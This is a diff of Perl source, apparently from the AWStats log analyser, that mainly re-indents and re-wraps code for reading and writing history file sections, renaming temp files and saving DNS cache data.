+ || $field[0] eq "${xmleb}END_EMAILSENDER"
+ || !$_ );
+ if ( $field[0] ne 'END_EMAILSENDER'
+ && $field[0] ne "${xmleb}END_EMAILSENDER" )
{
error(
"History file \"$filetoread\" is corrupted (End of section EMAILSENDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of EMAILSENDER section ($count entries, $countloaded loaded)"
+ debug(
+" End of EMAILSENDER section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'emailsender'};
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_EMAILRECEIVER'
- || $field[0] eq "${xmleb}END_EMAILRECEIVER"
- || !$_ );
- if ( $field[0] ne 'END_EMAILRECEIVER'
- && $field[0] ne "${xmleb}END_EMAILRECEIVER" )
+ } until ( $field[0] eq 'END_EMAILRECEIVER'
+ || $field[0] eq "${xmleb}END_EMAILRECEIVER"
+ || !$_ );
+ if ( $field[0] ne 'END_EMAILRECEIVER'
+ && $field[0] ne "${xmleb}END_EMAILRECEIVER" )
{
error(
"History file \"$filetoread\" is corrupted (End of section EMAILRECEIVER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of EMAILRECEIVER section ($count entries, $countloaded loaded)"
+ debug(
+" End of EMAILRECEIVER section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'emailreceiver'};
{ # This is for $HTMLOutput = urldetail, urlentry or urlexit
if ( $MonthRequired eq 'all' ) {
if (
- (
- !$FilterIn{'url'}
- || $field[0] =~
- /$FilterIn{'url'}/
- )
- && ( !$FilterEx{'url'}
- || $field[0] !~
- /$FilterEx{'url'}/ )
+ (
+ !$FilterIn{'url'}
+ || $field[0] =~
+ /$FilterIn{'url'}/
+ )
+ && ( !$FilterEx{'url'}
+ || $field[0] !~
+ /$FilterEx{'url'}/ )
)
{
$loadrecord = 1;
}
else {
if (
- (
- !$FilterIn{'url'}
- || $field[0] =~
- /$FilterIn{'url'}/
- )
- && ( !$FilterEx{'url'}
- || $field[0] !~
- /$FilterEx{'url'}/ )
- && $field[1] >= $MinHit{'File'}
+ (
+ !$FilterIn{'url'}
+ || $field[0] =~
+ /$FilterIn{'url'}/
+ )
+ && ( !$FilterEx{'url'}
+ || $field[0] !~
+ /$FilterEx{'url'}/ )
+ && $field[1] >= $MinHit{'File'}
)
{
$loadrecord = 1;
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_SIDER'
- || $field[0] eq "${xmleb}END_SIDER"
- || !$_ );
- if ( $field[0] ne 'END_SIDER'
- && $field[0] ne "${xmleb}END_SIDER" )
+ } until ( $field[0] eq 'END_SIDER'
+ || $field[0] eq "${xmleb}END_SIDER"
+ || !$_ );
+ if ( $field[0] ne 'END_SIDER'
+ && $field[0] ne "${xmleb}END_SIDER" )
{
error(
"History file \"$filetoread\" is corrupted (End of section SIDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of SIDER section ($count entries, $countloaded loaded)"
+ debug(
+" End of SIDER section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'sider'};
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_FILETYPES'
- || $field[0] eq "${xmleb}END_FILETYPES"
- || !$_ );
- if ( $field[0] ne 'END_FILETYPES'
- && $field[0] ne "${xmleb}END_FILETYPES" )
+ } until ( $field[0] eq 'END_FILETYPES'
+ || $field[0] eq "${xmleb}END_FILETYPES"
+ || !$_ );
+ if ( $field[0] ne 'END_FILETYPES'
+ && $field[0] ne "${xmleb}END_FILETYPES" )
{
error(
"History file \"$filetoread\" is corrupted (End of section FILETYPES not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of FILETYPES section ($count entries, $countloaded loaded)"
+ debug(
+" End of FILETYPES section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'filetypes'};
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_SEREFERRALS'
- || $field[0] eq "${xmleb}END_SEREFERRALS"
- || !$_ );
- if ( $field[0] ne 'END_SEREFERRALS'
- && $field[0] ne "${xmleb}END_SEREFERRALS" )
+ } until ( $field[0] eq 'END_SEREFERRALS'
+ || $field[0] eq "${xmleb}END_SEREFERRALS"
+ || !$_ );
+ if ( $field[0] ne 'END_SEREFERRALS'
+ && $field[0] ne "${xmleb}END_SEREFERRALS" )
{
error(
"History file \"$filetoread\" is corrupted (End of section SEREFERRALS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of SEREFERRALS section ($count entries, $countloaded loaded)"
+ debug(
+" End of SEREFERRALS section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'sereferrals'};
}
else {
if (
- (
- !$FilterIn{'refererpages'}
- || $field[0] =~
- /$FilterIn{'refererpages'}/
- )
- && ( !$FilterEx{'refererpages'}
- || $field[0] !~
- /$FilterEx{'refererpages'}/ )
+ (
+ !$FilterIn{'refererpages'}
+ || $field[0] =~
+ /$FilterIn{'refererpages'}/
+ )
+ && ( !$FilterEx{'refererpages'}
+ || $field[0] !~
+ /$FilterEx{'refererpages'}/ )
)
{
$loadrecord = 1;
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_PAGEREFS'
- || $field[0] eq "${xmleb}END_PAGEREFS"
- || !$_ );
- if ( $field[0] ne 'END_PAGEREFS'
- && $field[0] ne "${xmleb}END_PAGEREFS" )
+ } until ( $field[0] eq 'END_PAGEREFS'
+ || $field[0] eq "${xmleb}END_PAGEREFS"
+ || !$_ );
+ if ( $field[0] ne 'END_PAGEREFS'
+ && $field[0] ne "${xmleb}END_PAGEREFS" )
{
error(
"History file \"$filetoread\" is corrupted (End of section PAGEREFS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of PAGEREFS section ($count entries, $countloaded loaded)"
+ debug(
+" End of PAGEREFS section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'pagerefs'};
# BEGIN_SEARCHWORDS
if ( $field[0] eq 'BEGIN_SEARCHWORDS' ) {
if ($Debug) {
- debug( " Begin of SEARCHWORDS section ($MaxNbOf{'KeyphrasesShown'},$MinHit{'Keyphrase'})"
+ debug(
+" Begin of SEARCHWORDS section ($MaxNbOf{'KeyphrasesShown'},$MinHit{'Keyphrase'})"
);
}
$field[0] = '';
}
else {
if ( $countloaded <
- $MaxNbOf{'KeyphrasesShown'}
- && $field[1] >=
- $MinHit{'Keyphrase'} )
+ $MaxNbOf{'KeyphrasesShown'}
+ && $field[1] >=
+ $MinHit{'Keyphrase'} )
{
$loadrecord = 1;
}
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_SEARCHWORDS'
- || $field[0] eq "${xmleb}END_SEARCHWORDS"
- || !$_ );
- if ( $field[0] ne 'END_SEARCHWORDS'
- && $field[0] ne "${xmleb}END_SEARCHWORDS" )
+ } until ( $field[0] eq 'END_SEARCHWORDS'
+ || $field[0] eq "${xmleb}END_SEARCHWORDS"
+ || !$_ );
+ if ( $field[0] ne 'END_SEARCHWORDS'
+ && $field[0] ne "${xmleb}END_SEARCHWORDS" )
{
error(
"History file \"$filetoread\" is corrupted (End of section SEARCHWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of SEARCHWORDS section ($count entries, $countloaded loaded)"
+ debug(
+" End of SEARCHWORDS section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'searchwords'};
if ( $SectionsToSave{'searchwords'} ) {
Save_History( 'searchwords', $year, $month, $date );
- delete $SectionsToSave{'searchwords'
+ delete $SectionsToSave{ 'searchwords'
}; # This save searwords and keywords sections
if ($withpurge) { %_keyphrases = (); }
}
# BEGIN_KEYWORDS
if ( $field[0] eq 'BEGIN_KEYWORDS' ) {
if ($Debug) {
- debug( " Begin of KEYWORDS section ($MaxNbOf{'KeywordsShown'},$MinHit{'Keyword'})"
+ debug(
+" Begin of KEYWORDS section ($MaxNbOf{'KeywordsShown'},$MinHit{'Keyword'})"
);
}
$field[0] = '';
my $loadrecord = 0;
if ( $MonthRequired eq 'all' ) { $loadrecord = 1; }
else {
- if ( $countloaded < $MaxNbOf{'KeywordsShown'}
- && $field[1] >= $MinHit{'Keyword'} )
+ if ( $countloaded < $MaxNbOf{'KeywordsShown'}
+ && $field[1] >= $MinHit{'Keyword'} )
{
$loadrecord = 1;
}
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_KEYWORDS'
- || $field[0] eq "${xmleb}END_KEYWORDS"
- || !$_ );
- if ( $field[0] ne 'END_KEYWORDS'
- && $field[0] ne "${xmleb}END_KEYWORDS" )
+ } until ( $field[0] eq 'END_KEYWORDS'
+ || $field[0] eq "${xmleb}END_KEYWORDS"
+ || !$_ );
+ if ( $field[0] ne 'END_KEYWORDS'
+ && $field[0] ne "${xmleb}END_KEYWORDS" )
{
error(
"History file \"$filetoread\" is corrupted (End of section KEYWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of KEYWORDS section ($count entries, $countloaded loaded)"
+ debug(
+" End of KEYWORDS section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'keywords'};
chomp $_;
s/\r//;
@field =
- split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ )
- );
+ split( /\s+/,
+ ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
$countlines++;
- } until ( $field[0] eq 'END_ERRORS'
- || $field[0] eq "${xmleb}END_ERRORS"
- || !$_ );
- if ( $field[0] ne 'END_ERRORS'
- && $field[0] ne "${xmleb}END_ERRORS" )
+ } until ( $field[0] eq 'END_ERRORS'
+ || $field[0] eq "${xmleb}END_ERRORS"
+ || !$_ );
+ if ( $field[0] ne 'END_ERRORS'
+ && $field[0] ne "${xmleb}END_ERRORS" )
{
error(
"History file \"$filetoread\" is corrupted (End of section ERRORS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of ERRORS section ($count entries, $countloaded loaded)"
+ debug(
+" End of ERRORS section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{'errors'};
chomp $_;
s/\r//;
@field = split(
- /\s+/,
- (
- $readxml
- ? XMLDecodeFromHisto($_)
- : $_
- )
+ /\s+/,
+ (
+ $readxml
+ ? XMLDecodeFromHisto($_)
+ : $_
+ )
);
$countlines++;
- } until ( $field[0] eq "END_SIDER_$code"
- || $field[0] eq "${xmleb}END_SIDER_$code"
- || !$_ );
- if ( $field[0] ne "END_SIDER_$code"
- && $field[0] ne "${xmleb}END_SIDER_$code" )
+ } until ( $field[0] eq "END_SIDER_$code"
+ || $field[0] eq "${xmleb}END_SIDER_$code"
+ || !$_ );
+ if ( $field[0] ne "END_SIDER_$code"
+ && $field[0] ne "${xmleb}END_SIDER_$code" )
{
error(
"History file \"$filetoread\" is corrupted (End of section SIDER_$code not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of SIDER_$code section ($count entries, $countloaded loaded)"
+ debug(
+" End of SIDER_$code section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{"sider_$code"};
if ( $field[0] ne '' ) {
$count++;
if ( $SectionsToLoad{"extra_$extranum"} ) {
- if ( $ExtraStatTypes[$extranum] =~ /P/i
- && $field[1] )
+ if ( $ExtraStatTypes[$extranum] =~ /P/i
+ && $field[1] )
{
${ '_section_' . $extranum . '_p' }
{ $field[0] } += $field[1];
}
${ '_section_' . $extranum . '_h' }
{ $field[0] } += $field[2];
- if ( $ExtraStatTypes[$extranum] =~ /B/i
- && $field[3] )
+ if ( $ExtraStatTypes[$extranum] =~ /B/i
+ && $field[3] )
{
${ '_section_' . $extranum . '_k' }
{ $field[0] } += $field[3];
}
if ( $ExtraStatTypes[$extranum] =~ /L/i
- && !${ '_section_' . $extranum . '_l' }
- { $field[0] } && $field[4] )
+ && !${ '_section_' . $extranum . '_l' }
+ { $field[0] }
+ && $field[4] )
{
${ '_section_' . $extranum . '_l' }
{ $field[0] } = int( $field[4] );
chomp $_;
s/\r//;
@field = split(
- /\s+/,
- (
- $readxml
- ? XMLDecodeFromHisto($_)
- : $_
- )
+ /\s+/,
+ (
+ $readxml
+ ? XMLDecodeFromHisto($_)
+ : $_
+ )
);
$countlines++;
- } until ( $field[0] eq "END_EXTRA_$extranum"
- || $field[0] eq "${xmleb}END_EXTRA_$extranum"
- || !$_ );
- if ( $field[0] ne "END_EXTRA_$extranum"
- && $field[0] ne "${xmleb}END_EXTRA_$extranum" )
+ } until ( $field[0] eq "END_EXTRA_$extranum"
+ || $field[0] eq "${xmleb}END_EXTRA_$extranum"
+ || !$_ );
+ if ( $field[0] ne "END_EXTRA_$extranum"
+ && $field[0] ne "${xmleb}END_EXTRA_$extranum" )
{
error(
"History file \"$filetoread\" is corrupted (End of section EXTRA_$extranum not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
);
}
if ($Debug) {
- debug( " End of EXTRA_$extranum section ($count entries, $countloaded loaded)"
+ debug(
+" End of EXTRA_$extranum section ($count entries, $countloaded loaded)"
);
}
delete $SectionsToLoad{"extra_$extranum"};
}
# BEGIN_PLUGINS
- if ( $AtLeastOneSectionPlugin
- && $field[0] =~ /^BEGIN_PLUGIN_(\w+)$/i )
+ if ( $AtLeastOneSectionPlugin
+ && $field[0] =~ /^BEGIN_PLUGIN_(\w+)$/i )
{
my $pluginname = $1;
my $found = 0;
# eval("$function");
my $function = "SectionReadHistory_$pluginname";
&$function( $issectiontoload, $readxml, $xmleb,
- $countlines );
+ $countlines );
delete $SectionsToLoad{"plugin_$pluginname"};
if ( $SectionsToSave{"plugin_$pluginname"} ) {
Save_History( "plugin_$pluginname",
- $year, $month, $date );
+ $year, $month, $date );
delete $SectionsToSave{"plugin_$pluginname"};
if ($withpurge) {
chomp $_;
s/\r//;
@field = split(
- /\s+/,
- (
- $readxml
- ? XMLDecodeFromHisto($_)
- : $_
- )
+ /\s+/,
+ (
+ $readxml
+ ? XMLDecodeFromHisto($_)
+ : $_
+ )
);
$countlines++;
- } until ( $field[0] eq "END_PLUGIN_$pluginname"
- || $field[0] eq "${xmleb}END_PLUGIN_$pluginname"
- || !$_ );
+ } until ( $field[0] eq "END_PLUGIN_$pluginname"
+ || $field[0] eq "${xmleb}END_PLUGIN_$pluginname"
+ || !$_ );
}
next;
}
# Write all unwrote sections in section order ('general','time', 'day','sider','session' and other...)
if ($Debug) {
debug(
- " Check and write all unwrote sections: "
- . join( ',', keys %SectionsToSave ),
- 2
+ " Check and write all unwrote sections: "
+ . join( ',', keys %SectionsToSave ),
+ 2
);
}
- foreach my $key ( sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} }
- keys %SectionsToSave )
+ foreach my $key (
+ sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} }
+ keys %SectionsToSave
+ )
{
Save_History( "$key", $year, $month, $date, $lastlinenb,
- $lastlineoffset, $lastlinechecksum );
+ $lastlineoffset, $lastlinechecksum );
}
%SectionsToSave = ();
foreach ( sort { $PosInFile{$a} <=> $PosInFile{$b} } keys %ValueInFile )
{
if ($Debug) {
- debug( " Update offset of section $_=$ValueInFile{$_} in file at offset $PosInFile{$_}"
+ debug(
+" Update offset of section $_=$ValueInFile{$_} in file at offset $PosInFile{$_}"
);
}
if ( $PosInFile{"$_"} ) {
# Save last data in general sections
if ($Debug) {
- debug( " Update MonthVisits=$MonthVisits{$year.$month} in file at offset $PosInFile{TotalVisits}"
+ debug(
+" Update MonthVisits=$MonthVisits{$year.$month} in file at offset $PosInFile{TotalVisits}"
);
}
seek( HISTORYTMP, $PosInFile{"TotalVisits"}, 0 );
print HISTORYTMP $MonthVisits{ $year . $month };
if ($Debug) {
- debug( " Update MonthUnique=$MonthUnique{$year.$month} in file at offset $PosInFile{TotalUnique}"
+ debug(
+" Update MonthUnique=$MonthUnique{$year.$month} in file at offset $PosInFile{TotalUnique}"
);
}
seek( HISTORYTMP, $PosInFile{"TotalUnique"}, 0 );
print HISTORYTMP $MonthUnique{ $year . $month };
if ($Debug) {
- debug( " Update MonthHostsKnown=$MonthHostsKnown{$year.$month} in file at offset $PosInFile{MonthHostsKnown}"
+ debug(
+" Update MonthHostsKnown=$MonthHostsKnown{$year.$month} in file at offset $PosInFile{MonthHostsKnown}"
);
}
seek( HISTORYTMP, $PosInFile{"MonthHostsKnown"}, 0 );
print HISTORYTMP $MonthHostsKnown{ $year . $month };
if ($Debug) {
- debug( " Update MonthHostsUnknown=$MonthHostsUnknown{$year.$month} in file at offset $PosInFile{MonthHostsUnknown}"
+ debug(
+" Update MonthHostsUnknown=$MonthHostsUnknown{$year.$month} in file at offset $PosInFile{MonthHostsUnknown}"
);
}
seek( HISTORYTMP, $PosInFile{"MonthHostsUnknown"}, 0 );
if ($withupdate) {
if ( $HistoryAlreadyFlushed{"$year$month$day$hour"} ) {
debug(
- "Rename tmp history file bis '$filetoread' to '$filetowrite'");
+ "Rename tmp history file bis '$filetoread' to '$filetowrite'");
if ( rename( $filetowrite, $filetoread ) == 0 ) {
error("Failed to update tmp history file $filetoread");
}
my $xml = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 );
my (
- $xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe,
- $xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee
+ $xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe,
+ $xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee
)
= ( '', '', '', '', '', '', '', '', '', '', '' );
if ($xml) {
(
- $xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe,
- $xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee
+ $xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe,
+ $xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee
)
= (
- "</comment><nu>\n", '</nu><recnb>',
- '</recnb><table>', '<tr><th>',
- '</th><th>', '</th></tr>',
- '<tr><td>', '</td><td>',
- '</td></tr>', '</table><nu>',
- "\n</nu></section>"
+ "</comment><nu>\n", '</nu><recnb>',
+ '</recnb><table>', '<tr><th>',
+ '</th><th>', '</th></tr>',
+ '<tr><td>', '</td><td>',
+ '</td></tr>', '</table><nu>',
+ "\n</nu></section>"
);
}
else { $xmlbs = ' '; $xmlhs = ' '; $xmlrs = ' '; }
if ($xml) { print HISTORYTMP "</lib><comment>\n"; }
print HISTORYTMP
"# If you remove this file, all statistics for date $breakdate will be lost/reset.\n";
- print HISTORYTMP
-"# Last config file used to build this data file was $FileConfig.\n";
+ print HISTORYTMP
+ "# Last config file used to build this data file was $FileConfig.\n";
if ($xml) { print HISTORYTMP "</comment></version>\n"; }
print HISTORYTMP "\n";
if ($xml) {
}
# General
- if ($sectiontosave eq 'general') {
- $LastUpdate=int("$nowyear$nowmonth$nowday$nowhour$nowmin$nowsec");
+ if ( $sectiontosave eq 'general' ) {
+ $LastUpdate = int("$nowyear$nowmonth$nowday$nowhour$nowmin$nowsec");
print HISTORYTMP "\n";
if ($xml) {
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
. "${xmlbe}\n";
# We save page list in score sorted order to get a -output faster and with less use of memory.
- &BuildKeyList( $MaxNbOf{'Domain'}, $MinHit{'Domain'},
- \%_domener_h, \%_domener_p );
+ &BuildKeyList(
+ $MaxNbOf{'Domain'}, $MinHit{'Domain'},
+ \%_domener_h, \%_domener_p
+ );
my %keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
# We save page list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h,
- \%_host_p );
+ \%_host_p );
my %keysinkeylist = ();
foreach my $key (@keylist) {
if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) {
# We save login list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h,
- \%_login_p );
+ \%_login_p );
my %keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
# We save robot list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h,
- \%_robot_h );
+ \%_robot_h );
my %keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
# We save worm list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h,
- \%_worm_h );
+ \%_worm_h );
my %keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
# We save sender email list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h,
- \%_emails_h );
+ \%_emails_h );
my %keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
# We save receiver email list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h,
- \%_emailr_h );
+ \%_emailr_h );
my %keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
# We save page list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p,
- \%_url_p );
+ \%_url_p );
%keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
. "${xmlbe}\n";
# We save page list in score sorted order to get a -output faster and with less use of memory.
- &BuildKeyList( $MaxNbOf{'RefererShown'}, $MinHit{'Refer'},
- \%_pagesrefs_h, \%_pagesrefs_p );
+ &BuildKeyList(
+ $MaxNbOf{'RefererShown'}, $MinHit{'Refer'},
+ \%_pagesrefs_h, \%_pagesrefs_p
+ );
%keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
# We save key list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList( $MaxNbOf{'KeywordsShown'},
- $MinHit{'Keyword'}, \%_keyphrases, \%_keyphrases );
+ $MinHit{'Keyword'}, \%_keyphrases, \%_keyphrases );
%keysinkeylist = ();
foreach my $key (@keylist) {
$keysinkeylist{$key} = 1;
# We save key list in score sorted order to get a -output faster and with less use of memory.
&BuildKeyList( $MaxNbOf{'KeywordsShown'},
- $MinHit{'Keyword'}, \%_keywords, \%_keywords );
+ $MinHit{'Keyword'}, \%_keywords, \%_keywords );
%keysinkeylist = ();
foreach (@keylist) {
$keysinkeylist{$_} = 1;
. scalar( keys %{ '_section_' . $extranum . '_h' } )
. "${xmlbe}\n";
&BuildKeyList(
- $MaxNbOfExtra[$extranum],
- $MinHitExtra[$extranum],
- \%{ '_section_' . $extranum . '_h' },
- \%{ '_section_' . $extranum . '_p' }
+ $MaxNbOfExtra[$extranum],
+ $MinHitExtra[$extranum],
+ \%{ '_section_' . $extranum . '_h' },
+ \%{ '_section_' . $extranum . '_p' }
);
%keysinkeylist = ();
foreach (@keylist) {
# my $function="SectionWriteHistory_$pluginname(\$xml,\$xmlbb,\$xmlbs,\$xmlbe,\$xmlrb,\$xmlrs,\$xmlre,\$xmleb,\$xmlee)";
# eval("$function");
my $function = "SectionWriteHistory_$pluginname";
- &$function( $xml, $xmlbb, $xmlbs, $xmlbe, $xmlrb,
- $xmlrs, $xmlre, $xmleb, $xmlee );
+ &$function(
+ $xml, $xmlbb, $xmlbs, $xmlbe, $xmlrb,
+ $xmlrs, $xmlre, $xmleb, $xmlee
+ );
}
}
elsif ( $DatabaseBreak eq 'day' ) { $datemask = '\d\d\d\d\d\d\d\d'; }
elsif ( $DatabaseBreak eq 'hour' ) { $datemask = '\d\d\d\d\d\d\d\d\d\d'; }
if ($Debug) {
- debug( "Scan for temp history files to rename into DirData='$DirData' with mask='$datemask'"
+ debug(
+"Scan for temp history files to rename into DirData='$DirData' with mask='$datemask'"
);
}
my $regfilesuffix = quotemeta($FileSuffix);
foreach ( grep /^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/,
- file_filt sort readdir DIR )
+ file_filt sort readdir DIR )
{
/^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/;
if ($renameok) { # No rename error yet
#if (FileCopy("$DirData/$PROG$1$FileSuffix.txt","$DirData/$PROG$1$FileSuffix.bak")) {
if (
- rename(
- "$DirData/$PROG$1$FileSuffix.txt",
- "$DirData/$PROG$1$FileSuffix.bak"
- ) == 0
+ rename(
+ "$DirData/$PROG$1$FileSuffix.txt",
+ "$DirData/$PROG$1$FileSuffix.bak"
+ ) == 0
)
{
- warning( "Warning: Failed to make a backup of \"$DirData/$PROG$1$FileSuffix.txt\" into \"$DirData/$PROG$1$FileSuffix.bak\"."
+ warning(
+"Warning: Failed to make a backup of \"$DirData/$PROG$1$FileSuffix.txt\" into \"$DirData/$PROG$1$FileSuffix.bak\"."
);
}
if ($SaveDatabaseFilesWithPermissionsForEveryone) {
}
}
if (
- rename(
- "$DirData/$PROG$1$FileSuffix.tmp.$$",
- "$DirData/$PROG$1$FileSuffix.txt"
- ) == 0
+ rename(
+ "$DirData/$PROG$1$FileSuffix.tmp.$$",
+ "$DirData/$PROG$1$FileSuffix.txt"
+ ) == 0
)
{
$renameok =
warning(
"Warning: Failed to rename \"$DirData/$PROG$1$FileSuffix.tmp.$$\" into \"$DirData/$PROG$1$FileSuffix.txt\".\nWrite permissions on \"$PROG$1$FileSuffix.txt\" might be wrong"
. (
- $ENV{'GATEWAY_INTERFACE'}
- ? " for an 'update from web'"
- : ""
+ $ENV{'GATEWAY_INTERFACE'}
+ ? " for an 'update from web'"
+ : ""
)
. " or file might be opened."
);
if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; }
foreach my $dir ( "$DirData", ".", "" ) {
my $searchdir = $dir;
- if ( $searchdir
- && ( !( $searchdir =~ /\/$/ ) )
- && ( !( $searchdir =~ /\\$/ ) ) )
+ if ( $searchdir
+ && ( !( $searchdir =~ /\/$/ ) )
+ && ( !( $searchdir =~ /\\$/ ) ) )
{
$searchdir .= "/";
}
# Plugin call : Change filetoload
if ( $PluginsLoaded{'SearchFile'}{'hashfiles'} ) {
- SearchFile_hashfiles( $searchdir, $dnscachefile, $filesuffix,
- $dnscacheext, $filetoload );
+ SearchFile_hashfiles(
+ $searchdir, $dnscachefile, $filesuffix,
+ $dnscacheext, $filetoload
+ );
}
if ($filetoload) { last; } # We found a file to load
}
}
if ($Debug) {
debug(
- " Loaded "
- . ( scalar keys %$hashtoload )
- . " items from $filetoload in "
- . ( time() - $timetoload )
- . " seconds.",
- 1
+ " Loaded "
+ . ( scalar keys %$hashtoload )
+ . " items from $filetoload in "
+ . ( time() - $timetoload )
+ . " seconds.",
+ 1
);
}
return 0;
# Plugin call : Save hash file (only $NBOFLASTUPDATELOOKUPTOSAVE records) with no test if up to date
if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) {
SaveHash_hashfiles( $filetosave, $hashtosave, 0, $nbofelemtosave,
- $nbofelemsaved );
+ $nbofelemsaved );
if ($SaveDatabaseFilesWithPermissionsForEveryone) {
chmod 0666, "$filetosave";
}
$filetosave = "$dnscachefile$filesuffix$dnscacheext";
if ($Debug) {
debug(
- " Save data "
- . (
- $nbofelemtosave
- ? "($nbofelemtosave records max)"
- : "(all records)"
- )
- . " into file $filetosave"
+ " Save data "
